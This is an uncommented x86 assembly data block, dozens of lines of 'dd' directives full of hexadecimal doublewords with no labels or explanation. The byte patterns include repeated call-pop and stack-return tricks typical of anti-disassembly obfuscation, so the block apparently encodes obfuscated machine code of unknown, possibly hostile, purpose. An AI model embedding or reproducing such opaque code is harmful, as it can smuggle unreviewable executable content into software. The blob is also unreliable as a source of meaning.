		dd 7, 3C12F3E6h, 0FF800985h, 9E9D0h, 15AF0000h,	464BB1CFh
		dd 8925EDD8h, 0E80C7985h, 45858905h, 8905E822h,	0E80D5585h
		dd 1585C605h, 4405E820h, 0E9C5C981h, 6468665Eh,	89B8F2ECh
		dd 0E80951B5h, 0D18B6605h, 2559B5FFh, 0F88B05E8h, 38D7858Dh
		dd 296005E8h, 0E820198Dh, 10E905h, 6FD90000h, 4ADB3C08h
		dd 3EF7736Fh, 2529D59Fh, 0FF619FFFh, 958589D0h,	8B05E822h
		dd 0E81EE995h, 1585C605h, 4305E820h, 0AE8h, 1C8ED300h
		dd 9EC8F72Dh, 5A99C50Dh, 764AA768h, 75BD33C0h, 0FF05E81Fh
		dd 0E82559B5h, 8DFB8B05h, 0E838D785h, 0EE8A5305h, 6AD0FF5Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 4E85C350h, 8D014867h, 5E816D9h, 7258589h
		dd 0BD8005E8h, 5EAFED7h, 0BB840F00h, 66000000h,	8D6AE0BAh
		dd 0EAFEB985h, 0AD8D8B05h, 5005E821h, 971ECA81h, 16A026Ah
		dd 629B529h, 6A05E8h, 0DE9h, 0AE115600h, 0FBCD32DEh, 0BFB5F1D6h
		dd 6A6AF7h, 0FFF95F50h,	0E8167D95h, 8E905h, 0E6090000h
		dd 67D2A678h, 85898EDCh, 5E80C65h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 20C35040h, 0C4DD6789h, 66F39615h
		dd 8D8BFA8Bh, 5E82DC9h,	0FA8BFF6Ah, 0C65B5FFh, 6A05E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 8DF63AC3h, 4A8FD7DEh, 11318D29h, 95FF05E8h, 5E82FADh
		dd 0D3D958Bh, 0C08B05E8h, 0BDBD8953h, 5F05E82Ah, 0E89BD83h
		dd 750005E8h, 0E9BD8309h, 5E80Bh, 53501974h, 0D1B8C08Bh
		dd 89000007h, 0E8111D85h, 4E9D8D05h, 0FF05EAA9h, 83585BD3h
		dd 0E80BE9BDh, 17740005h, 0D1B85350h, 89000007h, 0E8111D85h
		dd 3D9D8D05h, 0FF05EAA6h, 29585BD3h, 0E8138DB5h, 67D28105h
		dd 8B1D78C7h, 0FA8B66C0h, 201585C6h, 894705E8h,	0E831E185h
		dd 0F7C16805h, 0B70F93C8h, 59B5FFD2h, 5005E825h, 239D9503h
		dd 8D5905E8h, 0E838D785h, 8C18105h, 0FF54C2C6h,	8BFC60D0h
		dd 0E80FB585h, 89506105h, 0E81565B5h, 0FA858D05h, 6A05EB02h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 84C356h, 0BF50F1E6h, 64070E52h, 9400C759h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 50ADC357h, 578BA8D6h, 0B5585964h
		dd 0FAB58D2Eh, 6605EB02h, 6A56FA8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 1003C357h
		dd 6FD1BC45h, 0BD19529h, 0D0FF05E8h, 2C7D8529h,	858D05E8h
		dd 5EB02FAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0E6C35242h, 585681E2h, 47883EAh, 24850F06h, 0F8000000h
		dd 38E85C7h, 105EBh, 0E9560000h, 12h, 19721548h, 3EF43FDh
		dd 55E08388h, 1280C743h, 835F4DFBh, 0E820B9BDh,	850F0005h
		dd 64h,	1581B589h, 958B05E8h, 5E808B1h,	38EBD83h, 0F0005EBh
		dd 4B85h, 0D3BF0F00h, 13DDBD83h, 0F0005E8h, 3B84h, 0EE88BF00h
		dd 0B70F64D6h, 6985C7F9h, 5E819h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0F559C350h, 20E41E7Fh, 9D892F32h, 5E82FCDh, 23DB8C66h
		dd 0E81F41BDh, 4C3F605h, 4D6840Fh, 0BF0F0000h, 0B985C7D2h
		dd 5E810h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 9472C351h, 414AED47h, 80801345h
		dd 0EAFEE4BDh, 850F0005h, 6, 8F18531h, 85C605E8h, 5E82015h
		dd 68D08B47h, 0E3E45B86h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 9FC35545h, 9D60014h, 0E80D358Dh, 59B5FF05h
		dd 8005E825h, 858DC2CAh, 5E838D7h, 6E3CBA66h, 9523D0FFh
		dd 5E809FDh, 10468h, 2DB50900h,	8D05E81Fh, 0E826499Dh
		dd 14E905h, 47A50000h, 47DE7DD4h, 541A94C7h, 0CFE29CF4h
		dd 40177FC4h, 0F5538EDBh, 8960D0FFh, 0E81039B5h, 13E905h
		dd 0DE240000h, 8D7F128h, 0FDB109B4h, 30B62CEBh,	786264CAh
		dd 858D6162h, 5E82649h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0DFC35040h, 6AD11143h, 59D78120h, 505B2D91h
		dd 0FE852h, 260F0000h, 7538DCD9h, 6FFBE447h, 3E53B45Ah
		dd 0EECF81C3h, 5F5FE0C1h, 96858D59h, 8B05EAFEh,	0E82EBD95h
		dd 6A5005h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0FB6DE9C3h, 0B4B4C5B6h, 8B910005h, 0E81575BDh
		dd 69858D05h, 6A05EAF5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0CEAFC353h,	0B6773258h
		dd 85952950h, 0FF05E807h, 0E80DB195h, 0CBB70F05h, 0C483FE8Bh
		dd 29BD310Ch, 8B05E80Ch, 68006AD0h, 80h, 6A036Ah, 68006Ah
		dd 8D800000h, 0EAF56985h, 95FF5005h, 5E81BA5h, 0FE798589h
		dd 85C605EAh, 5E82015h,	5E876847h, 0B5FFC7B1h, 5E82559h
		dd 38D7858Dh, 0D0FF05E8h, 0B5FF006Ah, 5EAFE79h,	2960D0FFh
		dd 0E832218Dh, 0BD016105h, 5E816D9h, 1701B529h,	0D03D05E8h
		dd 0F000037h, 7383h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 54DBF690h, 8D89B5D7h
		dd 5E810A1h, 0FE79B5FFh, 0B70F05EAh, 2595FFFAh,	0E905E807h
		dd 11h,	0C95FB17Bh, 2EEAC6ECh, 0E0598472h, 0B185F4CBh
		dd 0BAE9A1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 95890BC3h, 5E82AADh, 0FE79B5FFh
		dd 952905EAh, 5E823F9h,	72595FFh, 8D2B05E8h, 5E8254Dh
		dd 1CB9006Ah, 6A1D57CFh, 9272BA00h, 8D8B404Dh, 5E82065h
		dd 12E8006Ah, 49000000h, 9ECDA7A1h, 0C9902E78h,	7FB769EFh
		dd 40E49A0h, 55BD2B3Bh,	5F05E82Dh, 8B66006Ah, 0E8006ACFh
		dd 0Ch,	7280E7EFh, 7A6E1AD6h, 0AB9DA771h, 0C1F78166h, 6A59C6h
		dd 4AD4BA66h, 7A18D31h,	858D05E8h, 5EAFE7Dh, 50B5D680h
		dd 95FF7CB6h, 5E81BA5h,	14958589h, 0F88305E8h, 0F2850FFFh
		dd 0F9000000h, 0B5EA858Dh, 0D0FF05EAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 9DC35141h, 0DE9h, 0A2ADF700h
		dd 26E484CFh, 40AA2950h, 6A2974h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 66C35545h, 0D19BD29h, 6A05E8h
		dd 0DE8h, 0EA79C300h, 0DB82AD57h, 0FCB37F40h, 6A5ABAEEh
		dd 0BD9D8900h, 6A05E805h, 0FBBF0F00h, 0E981006Ah, 53396404h
		dd 8E9006Ah, 0BA000000h, 73B021Bh, 8D83F5B5h, 0EAFE7D85h
		dd 2DB5F905h, 0A595FF50h, 0F05E81Bh, 682h, 0B58D8900h
		dd 0FC05E816h, 0FFFF883h, 3885h, 0C7816600h, 0B58D014Fh
		dd 5EAF885h, 27DD9501h,	858D05E8h, 5EAA338h, 2DF59503h
		dd 0D0FF05E8h, 0E0EF8166h, 9006A39h, 0E816A98Dh, 7995FF05h
		dd 8B05E80Ch, 0E8294995h, 79858905h, 6A05EAFEh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 1AF5C353h, 6D9589CBh, 6A05E813h, 83B96600h, 71858D00h
		dd 0E905EAFEh, 12h, 113E312Bh, 655AB646h, 0B6A26A4Bh, 13CB1D1Eh
		dd 8B5034CEh, 0E828A18Dh, 8B046A05h, 0E80C09BDh, 0D1858D05h
		dd 6605E822h, 4121C981h, 11E950h, 7BC20000h, 10F0BEFh
		dd 0E17498AFh, 5F9B774Dh, 6A176773h, 6AF500h, 354F181h
		dd 16A3091h, 2F1D8D8Bh,	0B5FF05E8h, 5EAFE79h, 95FFFEB2h
		dd 5E82295h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0A4C35747h, 0D99BD8Bh, 60E905E8h, 6600001Ch, 2BEFDA81h
		dd 9529C08Bh, 5E82B8Dh,	0E89BD83h, 750005E8h, 0E9BD8309h
		dd 5E80Bh, 53501974h, 0D2B8C08Bh, 89000007h, 0E8111D85h
		dd 4E9D8D05h, 0FF05EAA9h, 83585BD3h, 0E80BE9BDh, 17740005h
		dd 0D2B85350h, 89000007h, 0E8111D85h, 3D9D8D05h, 0FF05EAA6h
		dd 0E9585BD3h, 8, 9E666597h, 537C643h, 855BD8Bh, 6A05E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0C08B15C3h, 0C830Fh,	830F0000h, 6, 10658D8Bh, 8D3105E8h
		dd 5E80DEDh, 10B985C7h,	105E8h,	8D330000h, 5E83239h, 0E4E7B868h
		dd 0ADB5FFCEh, 8D05E810h, 0E838D785h, 89D0FF05h, 0E8212985h
		dd 0DBD46805h, 0B5FFC005h, 5E810ADh, 38D7858Dh,	0D0FF05E8h
		dd 32D98589h, 858D05E8h, 5EAF322h, 59B5FF50h, 0FF05E825h
		dd 0E829DD95h, 74C00B05h, 8DD88B0Bh, 0EB02D585h, 0D3FF5005h
		dd 2D5858Dh, 836605EBh,	0A750938h, 192985C7h, 105E8h, 95FF0000h
		dd 5E829C5h, 0FF25h, 5F88300h, 85C70A73h, 5E8289Dh, 1
		dd 419D8B60h, 8B05E80Fh, 0E80A359Dh, 85016105h,	5E81031h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6AC35646h
		dd 0F7816638h, 0BD80BC4Bh, 5EAFEE4h, 1C850F00h,	0E9000000h
		dd 0Eh,	0AB0DDCFCh, 53505037h, 36C4689Ah, 0D0E9B869h, 5100001Ah
		dd 8359FE8Bh, 0E81929BDh, 850F0005h, 0CBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CEC35343h, 0AE858DE2h
		dd 8B05EAFEh, 0ADF81D0h, 507ED0A7h, 83D958Bh, 16A05E8h
		dd 25918D89h, 6A05E8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0F8C35242h, 3F97FD85h, 0E9006A2Bh, 0Bh
		dd 76B48FE1h, 0EEF36281h, 81E2A867h, 3FA4B4E9h,	7D95FF28h
		dd 0B905E816h, 28DF6041h, 0FED88589h, 0BD8B05EAh, 5E82D85h
		dd 0FE9FF6Ah, 0C1000000h, 0DB6259A6h, 31727DE0h, 8A452EC7h
		dd 0B5FFE6C0h, 5EAFED8h, 12E9h,	0AFDE5500h, 0AC8C1C9Fh
		dd 1C5352B0h, 24A1B4E0h, 0FFBBC41Bh, 0E82FAD95h, 0F1B58905h
		dd 8D05E81Eh, 0EAF2E985h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 9379BA39h
		dd 0D781508Ah, 203463C1h, 1F3195FFh, 6A05E8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 3029C6C3h
		dd 49958907h, 8905E815h, 0EAF37385h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 3B74DA1h, 62C63490h
		dd 8D0FC492h, 4, 0A7BBBA66h, 0F2F6858Dh, 880F05EAh, 0Ah
		dd 5E9h, 4E436600h, 8B5066B5h, 0A59D89CAh, 0FF05E822h
		dd 0EAF373B5h, 0E8BF6605h, 0DD95FF4Ah, 0BA05E829h, 262A9B07h
		dd 2A18589h, 5E905E8h, 0D3000000h, 8B3AB9CBh, 0F364858Dh
		dd 950905EAh, 5E82C75h,	6850F50h, 89000000h, 0E813718Dh
		dd 73B5FF05h, 6A05EAF3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0D63DC353h,	858982F3h
		dd 5E832CDh, 29DD95FFh,	6A05E8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0CB777DC3h, 7DB32EADh
		dd 3DBD2BD3h, 0E905E819h, 0Fh, 4E586A39h, 78410BCh, 3BEE3F34h
		dd 898E36A3h, 0EAF38785h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 574E35A8h
		dd 0DBD8B31h, 8D05E817h, 0EAF34385h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0F0E1A13Bh
		dd 0D87ACF98h, 3840FF1h, 0F000000h, 8B50CFBFh, 0E82E05BDh
		dd 73B5FF05h, 6A05EAF3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 4C2AC356h, 7B33BADBh
		dd 1D958B1Eh, 0FF05E813h, 0E829DD95h, 71958B05h, 8905E821h
		dd 0EAF37F85h, 0D6F28105h, 8D67EC4Eh, 0EAF33685h, 0CDBD8905h
		dd 5005E80Ch, 0B5FF35B5h, 5EAF373h, 2890Fh, 5F530000h
		dd 29DD95FFh, 858905E8h, 5EAF383h, 2FA98D8Bh, 858D05E8h
		dd 5EAF351h, 0FFCE8B50h, 0EAF373B5h, 0DD95FF05h, 6A05E829h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4A82C357h, 82E8BF80h, 29E2F908h, 0E8243D9Dh
		dd 89858905h, 6005E829h, 68A0Fh, 85090000h, 5E8224Dh, 7C1B589h
		dd 8D6105E8h, 0EAF30585h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 61D8CA2Ch
		dd 2AE58D8Bh, 895005E8h, 0E82AD18Dh, 73B5FF05h,	8905EAF3h
		dd 0E82D89BDh, 10E905h,	0B09A0000h, 5F867350h, 93F87734h
		dd 5655451Bh, 95FFF2D4h, 5E829DDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 35C35545h, 59BD2947h, 8905E810h
		dd 0EAF37785h, 14858D05h, 5005EAF3h, 0A19BD8Bh,	0B5FF05E8h
		dd 5EAF373h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	3AC35646h, 19519D09h, 858905E8h, 5E82B45h, 29DD95FFh
		dd 0BD2B05E8h, 5E816A5h, 0F37B8589h, 6A05EAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0CB8056C3h
		dd 684E91D4h, 104h, 2971958Bh, 858D05E8h, 5EAF40Bh, 0AE8h
		dd 93D52900h, 5F95EC66h, 893E2D8Dh, 0E814B585h,	56505A05h
		dd 8E9h, 60251000h, 0CE36E314h,	858D5941h, 5EAF50Fh, 188B0Fh
		dd 13E90000h, 9F000000h, 81F10A85h, 93CF64Bh, 0E49E6129h
		dd 5E7C44A0h, 295689E2h, 0E8277995h, 0F505A05h,	686h, 71B58900h
		dd 8105E81Bh, 52F79CF7h, 8195FF74h, 5305E819h, 2CA5BD89h
		dd 855A05E8h, 6850FC0h,	89000000h, 0E82C7D8Dh, 0E4BD8005h
		dd 5EAFEh, 1D850Fh, 8E0F0000h, 0Bh, 5830Fh, 81660000h
		dd 0E9A061DAh, 15C3h, 0FD8D03FCh, 8305E820h, 0E81929BDh
		dd 850F0005h, 3Bh, 0F7D9503h, 858905E8h, 5E81031h, 38EBD83h
		dd 0F0005EBh, 4484h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 336B005Fh, 8D30EFDAh
		dd 0EAF3A885h, 23535005h, 0E81FA195h, 0E9595905h, 155Fh
		dd 1039958Bh, 0AE905E8h, 8B000000h, 93858DCBh, 8B05EAF3h
		dd 0F5350CAh, 8D59D1BFh, 0EAF40B85h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E9B68718h
		dd 0A5E073CAh, 0B9B501A2h, 8B05E821h, 0E80D2D95h, 6A5005h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 949323C3h, 0C7831BBFh, 29BD830Ah, 5E819h, 5E840Fh, 810F0000h
		dd 1Ch,	10E8h, 12A11A00h, 0DBF36512h, 0B00618B3h, 0D980D4ACh
		dd 8B0FE6h, 59000000h, 0F531858Dh, 6A05EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F1B06C3h
		dd 1AE9D6B7h, 0E8000000h, 0Bh, 9BEEDF42h, 0E067F604h, 5F73D509h
		dd 0F51A858Dh, 8B6605EAh, 6A50FBh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 77D31CC3h, 3F426651h
		dd 0F569858Dh, 8F0F05EAh, 5, 9F3E02BAh,	7CD9813Eh, 500AD673h
		dd 0DB195FFh, 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h
		dd 53430000h, 106CA5C3h, 6A10C483h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 1D84C351h
		dd 0C08BF969h, 83CE8B66h, 0E80E89BDh, 9750005h,	0BE9BD83h
		dd 740005E8h, 8B535019h, 7D3B8C0h, 85890000h, 5E8111Dh
		dd 0A94E9D8Dh, 0D3FF05EAh, 0BD83585Bh, 5E80BE9h, 50177400h
		dd 7D3B853h, 85890000h,	5E8111Dh, 0A63D9D8Dh, 0D3FF05EAh
		dd 9589585Bh, 5E81B99h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 69C35040h, 296489EFh,	0E82C75B5h, 9BD8B05h
		dd 8B05E80Bh, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 7A2BD0EFh, 0D784E00Ch, 97A7BA25h
		dd 0BD81199Bh, 5EAF393h, 6165726Fh, 0C4840Fh, 0F9B90000h
		dd 0B91F2836h, 74B62F14h, 0F40B858Dh, 8D5005EAh, 0EAF54885h
		dd 858D5005h, 5EAF569h,	0B195FF50h, 8305E80Dh, 85C60CC4h
		dd 5E82015h, 184F6844h,	0B5FF96A3h, 5E82559h, 38D7858Dh
		dd 0D0FF05E8h, 858DD88Bh, 5EAF569h, 8DD3FF50h, 0EAF39385h
		dd 858D5005h, 5EAF40Bh,	29BD8350h, 5E819h, 858D0874h, 5EAF531h
		dd 858D06EBh, 5EAF51Ah,	69858D50h, 5005EAF5h, 0DB195FFh
		dd 0C48305E8h, 51006A10h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0DCD24DCAh, 8E85AB8Bh
		dd 8960487Eh, 0E805D5B5h, 0D88B6605h, 6E961h, 0AC0E0000h
		dd 0FC07FC1Ah, 2821BD8Bh, 95FF05E8h, 5E829C5h, 6E8h, 1F153F00h
		dd 0E97E7F15h, 7, 5BA5ABEBh, 5A1EBA4Ch,	0FF25h,	14BA6600h
		dd 5F883D4h, 40830Fh, 51600000h, 8BD68166h, 9D895F25h
		dd 5E82851h, 9D85C761h,	105E828h, 57000000h, 21EC0DB9h
		dd 858D5F5Fh, 5EAF3C7h,	0BE9h, 6CF3E800h, 0A7DBF766h, 6263EED7h
		dd 0E9C8BF0Fh, 8Ch, 0BD83CAB1h,	5E81929h, 4C840F00h, 66000000h
		dd 17A3D181h, 0F3F2858Dh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 5ED17DC3h, 5558F73Dh
		dd 0C2B966EBh, 46E9AFh,	10E90000h, 96000000h, 6CFD449h
		dd 58BC564Dh, 0BF1A0160h, 8D564582h, 0EAF3D485h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 47BEAEB1h, 58A0FE7h,	66000000h, 0F981CF81h, 0F4078589h
		dd 10E905EAh, 41000000h, 56D4EAA4h, 0CE257EB5h,	8EE952B6h
		dd 17CBCDAh, 0E808118Dh, 29BD8305h, 5E819h, 30850Fh, 8D310000h
		dd 5E821A1h, 38EBD83h, 0F0005EBh, 2884h, 11E800h, 6DC80000h
		dd 926CBF64h, 94D6647Eh, 0C97541Bh, 17F298Fh, 0E8215DB5h
		dd 18E95F05h, 31000011h, 0E8232595h, 46DE905h, 0CB8B0000h
		dd 8D8BC08Bh, 5E808D5h,	0E89BD83h, 750005E8h, 0E9BD8309h
		dd 5E80Bh, 53501974h, 0D4B8C08Bh, 89000007h, 0E8111D85h
		dd 4E9D8D05h, 0FF05EAA9h, 83585BD3h, 0E80BE9BDh, 17740005h
		dd 0D4B85350h, 89000007h, 0E8111D85h, 3D9D8D05h, 0FF05EAA6h
		dd 60585BD3h, 5D5BD8Bh,	61F805E8h, 11E9h, 7193AE00h, 80959FFEh
		dd 0F161D2D0h, 0C03EFEAEh, 0C08BFD8Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 9C35242h, 4B6A8AE7h, 0A8904721h
		dd 11850957h, 5905E806h, 0F003F68h, 99958B00h, 6A05E820h
		dd 6AF500h, 0CE852h, 37E50000h,	6A38DBDAh, 4F9DE351h, 8E0FE8FBh
		dd 0
		dd 95FF5A5Ah, 5E802A1h,	10399523h, 0C08505E8h, 6850Fh
		dd 0B5890000h, 5E8300Dh, 0F38B8589h, 0FB8B05EAh, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 50BC0EC3h, 6AF18AEFh, 79958900h, 6A05E80Fh, 0B98D8900h
		dd 6A05E802h, 5E800h, 6C0F0000h, 600ECBC2h, 13E9B503h
		dd 596105E8h, 0BD33006Ah, 5E80BD1h, 0F569858Dh,	952905EAh
		dd 5E829A5h, 5840F50h, 0B9000000h, 1A06FCAFh, 0E981016Ah
		dd 7C0F11F2h, 0BD89016Ah, 5E81ABDh, 6A016Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2B2C6EC3h
		dd 54E89106h, 27BD958Bh, 0E95105E8h, 11h, 85422482h, 0D8033FFFh
		dd 0FB393D80h, 0B3C05DA2h, 0FF685A6Fh, 0F000F01h, 80h
		dd 29BD8300h, 5E819h, 43840Fh, 8F0F0000h, 6, 146DBD8Bh
		dd 858D05E8h, 5EAF3E8h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0FBC35343h, 52E9h, 0BE900h, 2B0000h
		dd 0DE320947h, 9259F66Eh, 0BE858D69h, 6A05EAF3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 1FF0C357h, 5B631D06h, 0FE892h, 52100000h, 2E2F5EF3h
		dd 61B5DB1Dh, 10D4BCF2h, 6919BA0Ch, 505F1109h, 204DBD8Bh
		dd 8B5005E8h, 0E80D6195h, 8BB5FF05h, 8905EAF3h,	0E80CB1B5h
		dd 7795FF05h, 6605EAF3h, 0F84AF181h, 850FC085h,	21h, 6758D8Bh
		dd 5EE905E8h, 0E9000000h, 11h, 0D2A429F2h, 252EE7EDh, 1368CBEh
		dd 0D05A5310h, 8F8589ACh, 0E905EAF3h, 14h, 0B1FD6769h
		dd 5CE07409h, 0A879C07h, 5F6D05FBh, 3DA35855h, 0B5FFCB8Ah
		dd 5EAF38Fh, 95FFD38Ah,	5E82989h, 4810FF5h, 66000000h
		dd 8599EDBAh, 6850FC0h,	29000000h, 0E8332185h, 66106A05h
		dd 0BD83D38Bh, 5E81929h, 42840F00h, 8D000000h, 0EAF3E885h
		dd 0AE905h, 47CA0000h, 0B36144B3h, 9FA3F2BEh, 2EE9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0E94CA1CCh, 5, 0C3F688E0h, 0BE858D0Fh, 5005EAF3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E0C35343h, 2781B57Bh
		dd 0FF3EBBBCh, 0EAF38BB5h, 68B0F05h, 8B000000h,	0E8332DBDh
		dd 8395FF05h, 6A05EAF3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 30F7C357h, 0ED74B405h
		dd 71699149h, 24CD958Bh, 0C08505E8h, 11850Fh, 5E80000h
		dd 86000000h, 0B304C6FEh, 2F71B529h, 895A05E8h,	0EAF38F85h
		dd 13E805h, 25C20000h, 0C578DB1Ah, 956B2246h, 9DFD344h
		dd 0AF4DA9BAh, 2FC18094h, 81006A5Fh, 20DB3AE2h,	33006A4Eh
		dd 0E8026D8Dh, 8FB5FF05h, 0FF05EAF3h, 0EAF37B95h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 4920E171h, 0F4917A8Eh, 0B439B99Bh, 8B534245h, 0E8207195h
		dd 0B70F5905h, 0FC085FEh, 585h,	0CF816600h, 0B5FF220Fh
		dd 5EAF38Fh, 1635B529h,	95FF05E8h, 5E82989h, 140DB501h
		dd 0C08505E8h, 19850Fh,	11E80000h, 6F000000h, 26034DB5h
		dd 967836F5h, 0A1A2A58h, 0F794A210h, 6A5FEB8Ah,	0E2816600h
		dd 8068A6A0h, 0F000000h, 820FC9BFh, 3, 6ACB8B66h, 0BD958B03h
		dd 6605E827h, 6A1522B9h, 6AD78B00h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 3C825468h
		dd 0F8D95E15h, 68F5h, 6AC000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 667A45C3h, 63688F65h
		dd 0CE9h, 6E654F00h, 72A61853h,	55662A8Ch, 218D8969h, 0FF05E803h
		dd 0EAF407B5h, 0FFCE8B05h, 0E81BA595h, 94F18005h, 0FFFF883h
		dd 5BC85h, 119D3100h, 0FF05E808h, 0EAFE7585h, 418D8B05h
		dd 8305E813h, 0EAFE75BDh, 840F0205h, 40Ah, 13BD9D89h, 858D05E8h
		dd 5AF59Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 17h,	9FC35747h, 29283978h, 0E81AD18Dh, 66D0FF05h, 8D79C1BAh
		dd 5AEFF285h, 69952900h, 8905E815h, 0E8255D9Dh,	8BD0FF05h
		dd 0E80DF58Dh, 0E9C08B05h, 0Ch,	67C8264Ch, 617AFED2h, 0C6FF9689h
		dd 0E89BD83h, 750005E8h, 0E9BD8309h, 5E80Bh, 53501974h
		dd 0D8B8C08Bh, 89000007h, 0E8111D85h, 4E9D8D05h, 0FF05EAA9h
		dd 83585BD3h, 0E80BE9BDh, 17740005h, 0D8B85350h, 89000007h
		dd 0E8111D85h, 3D9D8D05h, 0FF05EAA6h, 31585BD3h, 0E820F5B5h
		dd 91BD8B05h, 8B05E808h, 2D958BC0h, 6805E823h, 0F003Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 8AC35747h
		dd 8150EA83h, 1AFD54D7h, 6AF85978h, 0A5B52900h,	6A05E832h
		dd 9E800h, 4DB90000h, 726C9FBFh, 14F6C2Ah, 0E8034195h
		dd 95FF5F05h, 5E802A1h,	0C085F48Ah, 0CE9F5h, 0FD4D0000h
		dd 89226C6Fh, 0F224B2D1h, 85897AA1h, 5EAF38Bh, 56CA8B66h
		dd 12DD9D89h, 685F05E8h, 0F01FFh, 15118D8Bh, 0BD8305E8h
		dd 5E81929h, 3B840F00h,	89000000h, 0E8195185h, 0E8858D05h
		dd 6A05EAF3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D78EC350h, 0E4506B3Fh, 19850122h
		dd 0E905E82Eh, 24h, 858DD18Bh, 5EAF3BEh, 6C99D29h, 11E905E8h
		dd 4F000000h, 2471B9A0h, 89762CABh, 0FC644CEDh,	8349EFA9h
		dd 0FFF4B150h, 0EAF38BB5h, 41950905h, 0FF05E825h, 0EAF38395h
		dd 45852905h, 8905E831h, 0E829FD95h, 8F858905h,	6A05EAF3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 3C11C350h, 0C741B332h, 0E80AF585h, 5, 0C88B6600h
